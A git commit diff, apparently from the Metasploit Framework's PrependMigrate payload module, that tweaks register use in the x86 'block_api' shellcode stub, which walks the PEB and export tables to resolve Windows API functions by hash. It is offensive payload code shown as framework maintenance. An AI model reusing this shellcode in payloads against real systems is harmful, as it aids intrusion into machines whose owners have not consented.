Update block_api with @schierlm's changes
parent
e8728943ec
commit
4681416a0f
|
@ -68,8 +68,8 @@ module Msf::Payload::Windows::PrependMigrate
|
||||||
api_call:
|
api_call:
|
||||||
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
||||||
mov ebp, esp ; Create a new stack frame
|
mov ebp, esp ; Create a new stack frame
|
||||||
xor edx, edx ; Zero EDX
|
xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found)
|
||||||
mov edx, [fs:edx+48] ; Get a pointer to the PEB
|
mov edx, [fs:eax+48] ; Get a pointer to the PEB
|
||||||
mov edx, [edx+12] ; Get PEB->Ldr
|
mov edx, [edx+12] ; Get PEB->Ldr
|
||||||
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
||||||
next_mod: ;
|
next_mod: ;
|
||||||
|
@ -77,7 +77,6 @@ module Msf::Payload::Windows::PrependMigrate
|
||||||
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
||||||
xor edi, edi ; Clear EDI which will store the hash of the module name
|
xor edi, edi ; Clear EDI which will store the hash of the module name
|
||||||
loop_modname: ;
|
loop_modname: ;
|
||||||
xor eax, eax ; Clear EAX
|
|
||||||
lodsb ; Read in the next byte of the name
|
lodsb ; Read in the next byte of the name
|
||||||
cmp al, 'a' ; Some versions of Windows use lower case module names
|
cmp al, 'a' ; Some versions of Windows use lower case module names
|
||||||
jl not_lowercase ;
|
jl not_lowercase ;
|
||||||
|
@ -92,10 +91,10 @@ module Msf::Payload::Windows::PrependMigrate
|
||||||
push edi ; Save the current module hash for later
|
push edi ; Save the current module hash for later
|
||||||
; Proceed to iterate the export address table
|
; Proceed to iterate the export address table
|
||||||
mov edx, [edx+16] ; Get this modules base address
|
mov edx, [edx+16] ; Get this modules base address
|
||||||
mov eax, [edx+60] ; Get PE header
|
mov ecx, [edx+60] ; Get PE header
|
||||||
|
|
||||||
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
; use ecx as our EAT pointer here so we can take advantage of jecxz.
|
||||||
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
|
mov ecx, [ecx+edx+120] ; Get the EAT from the PE header
|
||||||
jecxz get_next_mod1 ; If no EAT present, process the next module
|
jecxz get_next_mod1 ; If no EAT present, process the next module
|
||||||
add ecx, edx ; Add the modules base address
|
add ecx, edx ; Add the modules base address
|
||||||
push ecx ; Save the current modules EAT
|
push ecx ; Save the current modules EAT
|
||||||
|
@ -113,7 +112,6 @@ module Msf::Payload::Windows::PrependMigrate
|
||||||
xor edi, edi ; Clear EDI which will store the hash of the function name
|
xor edi, edi ; Clear EDI which will store the hash of the function name
|
||||||
; And compare it to the one we want
|
; And compare it to the one we want
|
||||||
loop_funcname: ;
|
loop_funcname: ;
|
||||||
xor eax, eax ; Clear EAX
|
|
||||||
lodsb ; Read in the next byte of the ASCII function name
|
lodsb ; Read in the next byte of the ASCII function name
|
||||||
ror edi, 13 ; Rotate right our hash value
|
ror edi, 13 ; Rotate right our hash value
|
||||||
add edi, eax ; Add the next byte of the name
|
add edi, eax ; Add the next byte of the name
|
||||||
|
@ -145,7 +143,7 @@ module Msf::Payload::Windows::PrependMigrate
|
||||||
; We now automagically return to the correct caller...
|
; We now automagically return to the correct caller...
|
||||||
|
|
||||||
get_next_mod: ;
|
get_next_mod: ;
|
||||||
pop eax ; Pop off the current (now the previous) modules EAT
|
pop edi ; Pop off the current (now the previous) modules EAT
|
||||||
get_next_mod1: ;
|
get_next_mod1: ;
|
||||||
pop edi ; Pop off the current (now the previous) modules hash
|
pop edi ; Pop off the current (now the previous) modules hash
|
||||||
pop edx ; Restore our position in the module list
|
pop edx ; Restore our position in the module list
|
||||||
|
|
Loading…
Reference in New Issue